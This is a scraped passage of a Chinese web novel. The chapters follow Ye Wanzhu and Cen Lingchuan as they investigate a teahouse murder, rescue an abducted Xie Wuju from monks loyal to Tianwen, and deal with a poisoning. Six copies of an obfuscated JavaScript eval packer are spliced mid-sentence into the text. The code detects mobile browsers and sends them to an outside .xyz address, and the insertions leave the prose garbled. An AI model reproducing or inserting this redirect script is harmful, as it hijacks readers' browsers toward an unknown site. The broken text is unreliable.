那人定是天问大师,能给他下绊子的事情,越多越好。 “行了,现在咱们可以说正经事了。” 捡起被这小二偷听而打断的话头,叶晚竹轻咳一声。 “安乐茶楼那边,已经被万源衙门暂时封锁,想进去调查,恐怕不是一件容易的事情。” 五六日前,叶晚竹一行的车队刚刚进入南疆境内,便与林婉君和吴泽的马车撞了个正着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087807|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听林婉君说了安乐茶楼的情况,叶晚竹三人立刻便反应过来,这一定是天问大师的手笔。 自从他逃离京城,便沿着叶晚竹先前南下的那条路线,一路无恶不作,烧杀劫掠。 凡是叶晚竹当初停留歇脚的城镇,无一不遭到毒手,看那架势里,满满的只有两个字。 报复。 在京城的功亏一篑显然让天问大师十分受挫,对叶晚竹等一干搅局之人的仇恨也到达了巅峰。 不过,除此之外,叶晚竹也还是觉得这秃驴的做法别有用心。 只是为了报复的话,天问大师离一个彻头彻尾的疯子也就不远了。 无论如何,他把手伸到了安乐茶楼,就说明叶晚竹先前做下的准备,已经被天问大师猜到了不少。 如此一来,他们也要早做打算。 “不知道县衙里有没有那秃驴的人。” 岑灵川摸着下巴做思索状,嘴里说着不知道,语气却已经十分笃定。 “这条路走不通,”叶晚竹也摇了摇头,“我们是大梁人,南疆的衙门为难我们还来不及。” 当初被叫做大梁狗的那段日子还历历在目,虽然孟希越这半个始作俑者已经**,但南疆和大梁只见的关系,并没有得到多少缓和的余地。 “而且,我们要是正大光明地查,怎么能让天问那秃驴把准备好的东西送到咱们眼前?”谢无咎的声音懒洋洋的,“那岂不是白白浪费了大师的一番好心。” 在安乐茶楼里**的虽然不是天问大师本人,但也是和他有关的和尚,就算林婉君和吴泽有些手段,在这些阴谋诡计行家的眼里也不够看。 秃驴组织怎么能让这两个人如此顺利地逃出万源城,还一路畅通无阻地逃到他们面前? 答案只有一个,那就是故意的。 故意要他们去查安乐茶楼的命案,秃驴组织总不能是为了让黄良才一家落叶归根。 谢无咎抬头看了看窗外正明亮着的天色,嘴角微微勾起,不咸不淡地笑了笑。 “按照天问秃驴的想法……接下来,咱们的行动计划应该是夜黑风高,偷偷出动吧?” 第三百三十八章 夜探 是夜,万籁俱寂。 叶晚竹和岑灵川一前一后,无声无息地从安乐茶楼的院墙翻下,进入了这个命案现场。 自从万源遭过上一次的劫难,已经很久都没有再发生过如此骇人听闻的事情,三条人命同时消失,几天前已经彻底震惊了城中的所有人。 在这样的压力之下,万源县衙虽然暂时什么都查不出来,却也不能草草结案,只能硬着头皮把整座茶楼封闭起来。 眼下茶楼外是彻夜巡逻的官差衙役,火把将附近的天空照得如同白昼一般。 “无用功做得这么仔细,添乱!” 影子被拉得老长,行动起来十分不便,岑灵川忍不住皱起眉头,低声暗骂。 “说不定,就是为了防我们的呢。” 靠在院墙上,叶晚竹同样压低了声音冷笑。 白天将那小二打发离开之后,她便在这座重新修建的万源城中又转了一圈,好打探消息。 城里的情况基本已经恢复了正常,不过,随着孟希越离开,邵威倒戈,那曾经风靡一时的奴市也消失不见了。 叶晚竹着重打听了一下和天问大师有关的消息,果然没什么线索,不过,倒是听说了一件值得留意的事情。 曾经的万源县令早就死在那场奴隶叛乱之中,而万源城修缮的时候,从王都指派过来的新任县令,一连还**三个。 第一个是赴任半路被水匪**,暴露身份后惨遭杀害,第二和第三任县令则都是抵达万源就任后不久因公牺牲。 虽然当时万源的情况的确混乱,浑水摸鱼之人数不胜数,可随着这几位大人丧命,万源县令被恶鬼诅咒等等说法,一时间还是尘嚣至上。 一直到三个月前,从王都又来了一位新的县令,上任之后一切风平浪静,百姓们之间的风言风语才淡了下去。 但大伙儿也只是表面不说,实则都在心里默默地观望着这位阮县令的命运究竟如何。 听到这件事,叶晚竹的第一想法就是巧合。 又是三个月。 这正好是天问大师从京城逃脱的时间。 万源当初再混乱,毕竟南疆王还在王城坐镇,流氓土匪再大胆,也不应该专门挑着官府中人下手。 除非是有人在背后授意,故意为之。 如此想来,这位阮县令的身份,就有些做不得好了。 叶晚竹环顾四周,他们眼下所在的地方是茶楼后院的仓库附近,官差相对较少,可再往前,案发时的书房那里,却被官差围得密不透风,毫无死角。 盯着那边看了片刻,岑灵川认命地吐了口气。 “我去引开他们,师妹,你自己小心。” 虽然这感觉很不好,但眼下,分散官差的注意力就是唯一的办法。 这一定又是天问那秃驴故意设下的圈套! 明知山有虎,偏向虎山行,岑灵川纵身一跃,不曾隐藏身形,嗖地一声掠过前方的官差头顶。 “什么人?” “站住!” 官差们果然齐齐出动,一支队伍追着岑灵川的背影狂奔而去,余下的阵型也不免有了片刻凌乱。 一切都刚刚好。 心知肚明是被牵着鼻子走,叶晚竹也不能不办,贴着墙根快走几步,在一个非常安全的死角里一跃而上,稳稳翻进书房院中。 院子里便是现场,为了保护证据,书房外人山人海,里面却空空荡荡的。 黄良才一家的尸体已经被处理了,此刻地上只剩下斑斑点点的血迹,凝成了难看的褐色。 屋中空空如也,书架上所有的东西都被收走了,那个暗格也没能幸免,不过里面的东西早就先一步落到了天问大师的手中。 避开地上的血迹,叶晚竹走进屋里,目光仔细地在各个角落搜寻。 按照天问大师的想法,他们肯定会到安乐茶楼来调查,既然如此,这里应该会有留给他们的线索。 可叶晚竹在书房里找了一圈,却什么都没发现。 心念一动,她朝着隔壁走了出去。 书房旁就是黄良才的卧房,这里并不是案发现场,没有血迹,也没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16094788|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官府搜查的痕迹。 小心翼翼地推开房门,叶晚竹却闻到了一股淡之又淡的清香。 林婉君来过这里。 那个被从黄良才身上取走的小瓶子里,装着东厂的一种异香,是当初帮着黄良才逃命的时候,隐风和隐川给他的。 这小瓶子并没有他们二人说的那样神奇,能寻人踪影,不过,这瓶中的香料单独嗅闻时,几乎没有什么味道,但若是两瓶叠加,香气便会变得明显。 叶晚竹离京的时候拿了一瓶放在身上,闻着鼻端的气味,她在一张椅子前停了下来。 椅子虽然放得四平八稳,但细看去,地上却有几道不甚明显的打斗痕迹。 林婉君已经将那天晚上的情况原原本本地讲给了叶晚竹听,想来天问大师的手下也是这么做的。 叶晚竹伸手到椅子下面,没怎么费力就找到了一个蜡丸。 蜡丸是新的,包裹得严严实实,叶晚竹想了想,暂时没捏开,先放到了怀中。 房顶外传来一声千回百转的口哨,她抬起头,岑灵川倒挂着出现在窗外。 “甩脱了,”他言简意赅,“这里有没有什么东西?” 叶晚竹拍了拍胸口。 两人又在院中搜了一圈,却没再有任何发现,似乎天问大师将他们引诱来此,就是为了这一个小小的蜡丸。 回程就变得更加简单,密不透风的巡逻队伍在换班时忽然毁于一旦,乱得一塌糊涂,甚至不用岑灵川再将官差引开,两人随便偷了个空子,便扬长而去。 “老秃驴,安排得还挺周到!” 来到安全的地方,岑灵川皱着鼻子忿忿地哼了一声。 叶晚竹没说话,心下有些不安。 这一趟安乐茶楼之行,虽然是天问大师有意下套,他们顺势假装中计,可今晚发生的一切,实在是太顺利了。 顺利得让她有些难以置信。 叶晚竹的不安在回到客栈之后得到了证实。 推开房门,属于谢无咎的床上空荡荡的,只有软轿立在一边! 第三百三十九章 明晚三更,城外赴约 “这是怎么回事?” 大步走进屋中,岑灵川围着床绕了一圈,又四下查看。 到处都空荡荡的,没有半点谢无咎存在的痕迹。 “原来这才是天问那秃驴的诡计!” 回过神来,看着满屋沉寂,岑灵川咬牙切齿地跺了跺脚。 怪不得方才去安乐茶楼进行得如此顺利,原来不是请君入瓮,而是调虎离山! 岂有此理! 皱了皱眉,岑灵川的眼神又收敛两分,朝着叶晚竹投了过去。 谢无咎的身体状况不好,两人都是一清二楚的,他现在被天问大师那秃驴带走…… 怎么想,似乎都是凶多吉少。 想到这儿,岑灵川的表情又沉下几分。 叶晚竹这会儿倒是没有什么太多的情绪,确定屋中什么都没有,她抱着双臂沉思片刻,缓缓从怀里将那个蜡丸拿出来捏开。 里面是一张纸条,上面的字迹瘦削有力,应该是属于天问大师的。 “明晚三更,城外赴约。” “这秃驴什么意思?” 看着纸条上的八个大字,岑灵川的脸色阴晴不定。 “抓了人又给线索让咱们去救,拿我们当猴耍是不是?” 叶晚竹没立刻说话,手指摩挲着纸条边缘,半晌才抬起头来。 “师兄,”她的声音不算高,“你有没有觉得,这秃驴好像在拖延时间?” “拖延?”岑灵川闻言眨了眨眼。 叶晚竹从行李中将一张地图拖了出来。 “咱们这一路走来,一直追着天问那秃驴的脚步,而他走的又是我先前南下的路,为了报复,还沿途毁坏了不少城镇。” “无论是什么地方,天问秃驴一直是毁了就走,绝不拖泥带水,更不会耽搁半点功夫。” 岑灵川深以为然地点头。 发现天问这秃驴的打算之后,岑灵川一度先于车队出发,按照叶晚竹提供的路线,试图抢先到下一个地点守株待兔。 可天问大师的动作却更快,几次都赶在他抵达之前完成任务,再功成身退。 他们就这样一路追着这个秃驴前来,而眼下,黄良才分明已经**,可天问大师却不光留下了林婉君这个线索证人,现在还东一榔头,西一棒子地设下两处陷阱,让他们在城中来回打转。 “的确如此。” 抿着嘴唇,岑灵川面上也现出了一抹沉思。 “在万源做了这么多准备,他想干什么?” 把他们全都弄死在这里? 做梦! “我去看看那小二在干什么!这么重要的事情,竟然一点儿都没发现!” 怒气冲冲地转身离开,岑灵川朝大堂而去,不出片刻,便将白天那个小二一把抓了过来。 一见是这位,小二便开始浑身哆嗦,等被岑灵川抓到屋中,看着消失不见的谢无咎的床铺,他更是脸色说发白,双腿哆嗦。 “小的,小的什么都没听见啊!” “还敢撒谎?” 岑灵川一脚踹得这小二趔趄摔倒,又踩在他小腿上。 “那秃驴要声东击西地来抓人,事先竟然没让你给他开后门?我看你是还有小心思!” 小二趴在地上,抱着岑灵川的脚腕哀嚎。 “爷!爷啊,我真的什么都不知道!那位客人听了小的回报,只说让小的继续盯着你们,别的就什么都没再提过了!” 这正是他白天说过的话。 岑灵川又叉着腰瞪了他几眼,小二哆哆嗦嗦着,下意识地将求助的眼神朝着叶晚竹投了过去。 这三位之中,也只有这位夫人看起来最讲理了。 然后他就对上了一双若有所思的眸子。 小二的后背忽然猛地一凉。 “今天晚上,你什么声音都没有听见?”叶晚竹蹲在这小二面前问话。 小二把脑袋摇得活像是个拨浪鼓。 有今天的事情在,他一直留意着这边的院子,里面一直都静悄悄的,什么动静都没有传出来—— 真要说的话,可能,就是有点**静了! 就算那位老爷的脚伤了,不良于行,好像,好像也不应该一点儿声音都没有吧? 小二吞吞吐吐地说出了自己的猜测。 叶晚竹闻言倒是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16094789|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也跟着点了点头。 “如此说来,咱们一走,那边就动手了。”她看着在小二另外一边蹲下来的岑灵川。 岑灵川眉眼压低,简短地应了一声,一双眼睛依旧死死地盯着这小二。 小二背上的冷汗又开始一层一层地冒,不知道这位又想干什么,可等他下意识地移开目光,又发现夫人的另外一双眼睛也在盯着他! 这,这又是怎么了? 不祥的预感袭上,小二咽了咽口水,陡然生出一股要逃跑的冲动。 不过他没这个胆子,也被岑灵川一把按住了肩膀。 “我们离开的时候没有走大门,那边也能发现,你知不知道,这说明什么?” 小二的心思不在这上面,压根就没听懂他的意思,对上岑灵川暗含深意的眼睛,他也只能老老实实地摇头。 “说明,这客栈里除了你,还有他们另外的眼睛!” 岑灵川手上用了几分力气,捏着小二的肩膀,笑容越发变得阴恻恻的。 “这可怎么办?被他们发现你是一根墙头草,你想好该怎么**吗?” 小二闻言脸色惨白,身形摇曳如风中残烛。 “我,我不想死啊!” 他哀嚎一声,这会儿已经后悔到了无以复加的地步。 早知如今,他就不应该因为一锭金子,答应那个客人的要求! 那不就没有这么多倒霉事了吗? 小二猛地抬手抽了自己两个耳光,又好像抓救命稻草一般,抓住了叶晚竹的衣袍下摆。 “夫人,求您救小的一命,”他哀哀地哭求,“小的愿意给您当牛做马,您让小的做什么,小的绝对不敢耽搁半刻!” 事到如今,也只有眼前的这两位能保住他的这条命了! 叶晚竹依旧蹲在他面前,“我让你做什么,你就做什么?” “是!是是!”小二的双眼猛地亮了起来。 “好。” 一边点头,叶晚竹一边抬手把一颗药丸塞进了他口中,动作毫不留情! “那你现在就安心地去吧,跟我耍心眼,还是两次,你的狗胆未免要包天了!” 第三百四十章 不必明晚,就是现在! 小二猝不及防被塞入药丸,顿时惊恐万状,拼命抠着自己的喉咙,却为时已晚。 药丸入口即化,他又被叶晚竹死死捏着嘴唇,无计可施,只能硬生生地咽了下去。 “你怎么知道?” 等叶晚竹松开手,小二用力干呕两声,无果,只能又怕又恨地瞪着她。 冷笑一声,叶晚竹在这小二的衣服上把手擦干净。 “你猜?” 小二又哆嗦起来,看着叶晚竹的目光好像是看见了什么洪水猛兽,半晌后,他忽然浑身脱力地坐了下去。 “他……他也是这么逼小的就范的!” 哇地一声,小二张开大口,绝望地哭嚎了起来! 白天在这屋中遭了一番威逼利诱,他不得不同意叶晚竹等人的要求,再按照天问大师留下的方法,找过去汇报情况。 谁知道,听完他的话,对方轻笑一声,说的第一句便是—— “是他们让你这样说的吧?” 小二吓得三魂去了六魄,压根不知道对方是怎么发现的,想狡辩,却连张嘴的机会都没有。 “我也再给你一个机会,”对方客人依旧穿着一身黑衣,说话不紧不慢,“他们要你怎么做,我也要你怎么做。” 小二又反应了半天才想明白,这是还让他两头骗,只不过主人换了一位! 现在更好了,他又被发现了! “好个秃驴!” 岑灵川听完怒极反笑,“他倒是聪明得很!” “夫人!爷!求求你们,给我个痛快吧!”小二绝望地流着眼泪,砰砰地跪在地上,给两人磕起头来。 “都是小的的错,二位这就杀了小的吧!” 他承认自己见钱眼开,可那毕竟是一锭金子,他干几个月的活儿,都不知道能不能赚到一个边角料! 他也承认他没骨气,谁的威逼利诱都能成功,可他只是一个普通小二,这些达官贵人,高门大户的,能不能放过他! 小二一下接一下地磕头,脑袋都撞破了,不知道什么时候,被人拎着衣领,一把抓了起来! “那人是什么时候走的?” 动手的人是叶晚竹,她静静地看着这小二,眼中情绪淡然。 小二却打了个哆嗦,仍是不敢隐瞒。 “不到一炷香前……” 叶晚竹抬头朝夜空看了看。 这么短的时间,天问大师还带着谢无咎,满打满算,应该能离开万源城。 她收回目光,“现在出发,应该还能赶上。” 天问那秃驴留给她的纸条是明晚,也就是说,他应该还会在城外也做些布置。 此时趁其不备才是好主意! 岑灵川点点头,“我去准备!” 这该死的秃驴诡计多端,不能不防! 他转头离开屋子,叶晚竹也收回目光,重新朝着这小二看去。 小二依旧听不懂这些贵人们的话,哆哆嗦嗦地站在一旁,面如土色。 他身上的药效,什么时候才能发作? 这位夫人原来只是看着心善,下手比那侍卫还狠! 他不会要受尽折磨,求生不得求死不能吧? “从现在开始,你就是个**了。” 正胡思乱想着,忽然听见这么一句,小二猛地愣住,随后抖得更加厉害了。 药效是不是要发作了? 可他怎么还没死? “一会儿出城的时候,你跟着我们,等离开万源,沿着官道往北,很快就能到南郡去。” 看着这小二的表情也知道他在想什么,叶晚竹的神情有些无奈。 “万源已经容不下你了,你既然本就是大梁人,那就趁着这个机会,回乡去吧。” “找个地方躲起来,等风头过了再继续北上,不要再靠近万源,否则,被那个人发现,谁也救不了你、” 她说完话,又足足过去好几息的功夫,小二才彻底回过神来,哆哆嗦嗦地又要给叶晚竹下跪! “多谢夫人,多谢夫人!” —— 又是一炷香之后,一辆马车叫开了万源的城门,沿着官道,一路向前疾驰。 “那秃驴会选在什么地方?” 将准备去逃亡的小二放下车,扮做车夫的岑灵川这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16094790|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才压低声音,轻声对着车厢中开口。 他方才就想问了,可师妹一副胸有成竹的模样,就是不告诉他! 方圆数里不见人烟,叶晚竹跳下马车,望着附近的景象。 “现在的万源城是刚刚新建的,几个月前,旧城被火炮摧毁了大半,师兄你站着的地方,就是曾经的万源大街。” 岑灵川下意识地低下头,挪动了几下脚步,果然,自己正踩在凹凸不平的石板路上。 他再抬头四望,附近低矮的废墟,也依稀可见城镇街道的模样。 “孟希越曾经和天问大师结盟,他在万源奴市精心布置了一个据点,好把自己的人手安**南疆官场各大要员的身边,虽然不知道这件事是天问的安排,还是孟希越的手笔,但两人肯定都是知情者。” 叶晚竹抬起手,朝着记忆中的某个方向指了指。 “如果我没记错,那里就是曾经的万源奴市。” 天问那秃驴只给她留了八个字,也就是说,他选定的地方,一定是叶晚竹也知道的。 除了万源奴市的旧址,叶晚竹再想不到还有比这更好的地方。 “走,咱们这就过去!”岑灵川丢开马鞭,搓了搓手。 两人弃了马车步行,一路屏息凝神,很快便来到奴市的废墟附近。 这里房倒屋塌,某一处坍塌的院墙内,几点灯火飘忽不定,泄露出一丝马脚。 里面果然有人! 隐隐约约的声音从破屋里传来,岑灵川打了个手势,让叶晚竹留在原地,自己先上前查看—— “二位?来了怎么不进去啊?” 清越的声音从背后传来,不属于天问大师那老秃驴,也不属于叶晚竹印象中这个组织的任何一个人! 她猛地转头,和一个浑身包裹在黑色袍子里的人对上了视线! “小僧在此,等你们很久了。”他微微一笑。 果然还是天问那秃驴的人! 对视一眼,叶晚竹和岑灵川同时动作,如离弦之箭般一左一右冲向破屋。 就在此时,房门突然大开,露出里面被铁链吊在半空的谢无咎! 第三百四十一章 计中计 在他身边,左右各站着四个武僧,手中举着长棍,神情狠戾阴沉。 “上!” 那身穿黑袍之人低哑地吩咐了一声,自己倒是后退两步,身形顿时隐入了沉沉的夜色之中。 武僧应声而动,与此同时,叶晚竹和岑灵川也对视一眼,迎头而上! 叶晚竹长剑一挥划破夜色,身形却骤然一晃,从两个冲到近前的武僧面前一闪而过,直直朝着那是黑袍人而去。 黑袍人却轻笑一声,似乎对叶晚竹的行动毫不意外。 他凭空跃起,和叶晚竹之间的距离又拉开几分,同时长袖一扫,密密麻麻的银针不知道从什么地方朝叶晚竹直射出来! “师妹当心!” 一脚将拦在身前的武僧踹飞,岑灵川反手将长刀丢出! 叶晚竹配合着他趁机向后,银针与刀背相撞,发出一阵叮叮当当的响动。 依着这银针的速度,若是方才叶晚竹中招,只怕银针会深入皮肉,想取都取不出来。 “好歹毒的小秃驴!” 皱眉低喝一声,叶晚竹再抬头看去,方才那黑袍人却已经消失得无影无踪了。 “师妹!” 岑灵川这时候跃上半截断墙,身后猎猎风声响起。 叶晚竹拔出长刀丢回他手中,自己也翻身而下,动作刚做完,便看到一根长棍从她方才站立的地方猛然扫过! 三个武僧从断墙后跃出,将三条长棍舞得猎猎生风 “站住!”一眼看见叶晚竹,他们便齐齐冲了上来。 叶晚竹趁机旋身踢起半截青砖,正中一人面门,余下两人却毫无停留之意,大喝着又加快了动作。 几乎是一瞬间,两个武僧便冲到了她面前,高高举起手中长棍,朝着叶晚竹便当头挥下—— “噼啪”一声响起,白烟骤然炸开,将两人包裹其中! “不好!” “快退!” 两个武僧齐齐后撤,又运起**抵御,却同时变得面色古怪。 他们并未中**! “是香粉。” 伸手在半空中捻了一下,武僧们对视一眼,表情都难看起来。 “中计了!” “走!” 与此同时,破屋内铁链哗啦作响,谢无咎被吊在横梁上的身影随夜风摇晃。 他垂着脑袋,显得了无生气,苍白的脸上还带着鞭痕。 叶晚竹一脚将窗户踹开,飞身跃入屋中,瞬间就和其余几个武僧打在一起! 武僧人多势众,叶晚竹下手也毫不留情,软剑一收一放,顷刻间便要了两人的性命。 奇怪。 这些武僧的功夫并不多精绝,如此重要的任务,天问大师怎么会用这样的人? 刚想到这儿,看着眼前的景象,叶晚竹瞳孔骤缩! 谢无咎脚下的地板轰然开启,露出下方的大坑,黑漆漆的,看不出里面的情况。 回身又扫开一人,叶晚竹上前几步,一个熟悉的黑袍却抢先跃到了谢无咎的刑架之前。 “再进一步,他就摔成肉泥。”黑袍人阴恻恻地开了口。 一样的装扮,却是不一样的声音。 这黑袍人不是刚才那个。 叶晚竹皱起眉头,脚步微顿。 谁知下一刻,这黑袍人抬手往墙上某处一拍! 轰然声响顿时传来,叶晚竹感到脚下微微晃动,紧接着,那束缚着谢无咎的铁链猛地松开! 谢无咎无知无觉的身体瞬间落下,叶晚竹飞身去追,眼前黑影一闪,却被这黑袍人堵住了去路! “你找死!” 咬牙低咒一声,叶晚竹拔剑朝黑袍人胸口刺去! “杀了我好给九千岁报仇?”黑袍人的声音听不出喜怒,“别想——” “呵,鼠辈!” 他话音未落,身后岑灵川的声音忽然传来! 黑派人忍不住一怔,随即便被叶晚竹一剑捅穿了心口! “咝——” 倒吸一口冷气,却还得咬牙忍住,黑袍人硬生生将软剑从胸口拔出,另一只手伸到口中,朝外面打了一声唿哨! 急促的脚步声从四面八方响起,显然今晚的埋伏远远不止这些。 岑灵川将谢无咎扛在肩上,这时候一脚将那黑袍人踢进了深坑之中! 刀刃入肉的动静传来,叶晚竹余光一扫,发现那坑底冒着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16101883|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寒光,全是钉板。 “走!” 脚步声越发靠近,叶晚竹环顾四周,一剑挑飞了墙边一个酒缸。 伴随着清脆的碎裂声,缸中的酒水撒出,很快便洇湿了地面,又顺着那大坑滴滴答答地流了下去。 岑灵川这时已经翻出破屋,和得了信号赶来的帮手战成一团。 “全是黑衣服的!”他大骂一声,“顶不住啦!” 叶晚竹一脚踢碎油灯,火舌熊熊而起,瞬间吞没半间屋子。 她翻身赶到岑灵川身后,果然迎上了一片黑压压的人影。 “走!” 听见声音,岑灵川一只手护着谢无咎,另一只手握拳朝下猛砸! “轰”地一声,破屋的房梁落地,整间屋子也迅速地被大火吞没。 一片混乱之中,岑灵川和叶晚竹飞身离开。 夜风裹着焦糊味扑面而来,岑灵川抱着谢无咎跃上残墙,忽觉怀中人动了两下。 谢无咎还活着! 幸亏! 岑灵川嗓子发紧,下意识地低下头,却只对上了一双紧闭着的眼睛。 收回目光,他又撞上了叶晚竹沉静的视线。 “还好赶上了。” 吐出一口气,岑灵川的话还没说完,谢无咎突然剧烈咳嗽起来。 暗红血沫溢出嘴角,叶晚竹急忙捏开他下颌,果然看见他舌根处嵌着一枚毒囊! 毒囊已经在方才的颠簸中被咬破,叶晚竹连忙伸手将余下的一半取出—— 指尖一痛,她动作停顿,一种不祥的预感也涌上心头。 “师妹!” 岑灵川瞪大双眼,看着叶晚竹捏着毒囊的指尖渐渐成了乌黑色! 那群秃驴!原来是要一石二鸟! 眼前天旋地转,叶晚竹脚下发软,身子也不可自控地朝下跌落。 岑灵川这会儿连骂人的功夫都没有了,冲上去一把拉住叶晚竹的胳膊,用力将她扛在身体另外一侧。 身后的追兵还在不断迫近,他牙关紧咬,额头上冒出豆大的汗珠。 这该怎么办? “师兄……” 叶晚竹挣扎着将双眼睁开一线。 第三百四十二章 用他的血 “先,先找个没人的地方……” 她气若游丝,从牙缝里挤出一句话,便彻底晕了过去。 重重地叹了口气,岑灵川背起两人,随便选了个远离追兵的方向,狂奔而去。 谢无咎滚烫的呼吸喷在后颈,叶晚竹冰凉的手指却死死掐着他肩膀,远处传来此起彼伏的脚步声,活像催命的信号。 “往东……” 叶晚竹不知道什么时候又醒了过来,声音嘶哑,“有个酒楼……有地窖!” 那是邵威曾经的据点之一,现在也成了一片废墟。 岑灵川立刻调整方向,没过多时,便找到了叶晚竹说的酒楼。 一片废墟之后藏着个半塌的院落。岑灵川踹开腐朽的木板,霉味混着尘土的气息扑面而来。 顺利找到地窖,他刚把两人放下,叶晚竹就呕出一口黑血,右手也泛出了诡异的青紫色。 “这是什么毒?” 岑灵川撕开她袖口,看见大片的乌黑正顺着手臂往上蔓延,一看就是不祥之兆。 “这群该死的秃驴!” 叶晚竹涣散的目光努力聚焦,又落在谢无咎身上。 “师兄,”她大口大口地喘气,“取,取他心头血……” 什么? 岑灵川先是愣住,随后不知道想起什么,脸色变幻莫测,最后咬牙切齿。 所以当初在安王别院,这才是真正的解药吧! 什么和皮肤温度一样的热水! 没好气地哼了一声,岑灵川鼻子不是鼻子,眼睛不是眼睛,手上的动作也无比利落。 解衣抽刀,他一把朝着谢无咎心口刺下。 敢玩他! 岑灵川的**刚刺入谢无咎心口半寸,昏迷中的男人便突然痉挛起来,紧接着猛地睁开双眼! “你——!” 岑灵川的惊呼声顿时卡在了喉咙里。 谢无咎的手指精准扣住他手腕,力道大得惊人,连带着两个人都颤抖起来! “你,你要做什么……” 谢无咎嗓音嘶哑,明显是受了重伤。 这场景着实容易使人误会,岑灵川刚要说话,叶晚竹突然剧烈地咳嗽起来! 她瞳孔扩散。浑身哆嗦,岑灵川看了一眼,下刀的动作更快了。 “别动啊,我师妹要是被你害死,等回头,你肯定会追悔莫及的!” 嘟囔着,岑灵川抬脚踩住谢无咎的肩膀,一边在怀中摸索一番,找到一个黑色的小瓷瓶。 他用瓷瓶接了半瓶血,转身跪趴在叶晚竹身边。 然后呢? 内服还是外用? 叶晚竹已经昏迷不醒,岑灵川扭过头,刚想问话,却发现谢无咎也又晕过去了! ……没有一个是顶用的! 顾不得多想,他捏开叶晚竹的嘴灌了几滴血,又往她手指上将剩下的涂抹了上去。 一起上吧! 做完这一切,岑灵川直勾勾地盯着叶晚竹。 片刻后,她手臂上的黑色开始消退,右手五指却已经变成可怖的紫黑色。 “怎,这是怎么回事?” 岑灵川一跃而起,伸手在叶晚竹的皮肤上摸了一下,随即被烫得一个哆嗦! 怎么还越治越坏了? “师妹!你醒醒啊!” 岑灵川低呼两声,叶晚竹却依旧无知无觉。 他红着眼睛扯下腰带,死死扎住她手肘,又回身扑向谢无咎,抬手两个大耳光扇了上去! “我师妹怎么回事?你这血到底好不好用啊?” 岑灵川手上使足了力气,扇得谢无咎脑袋左右摇晃,片刻后,他皱着眉头,缓缓睁开了双眼。 谢无咎浑身是伤,胸口还在滴血,岑灵川也顾不上,一把扯着他就往叶晚竹身边去。 “你身上的毒,你自己想办法!”他从胸**发出一阵吼声。 谢无咎大口大口地喘着粗气,似乎是被岑灵川勒得说不出话。 他艰难地摆了摆手,用手指沾了沾心口的伤,再将暗红色的血涂抹在叶晚竹的手上。 血滴落在皮肤上竟然发出滋滋的响声,那紫黑色的痕迹,以肉眼可见的速度消退了下去! 叶晚竹虚弱而急促的呼吸也随之变得正常起来,体温也在渐渐回落。 长长地吐出一口气,岑灵川脱力般地倒了下去。 “总算是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16101884|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 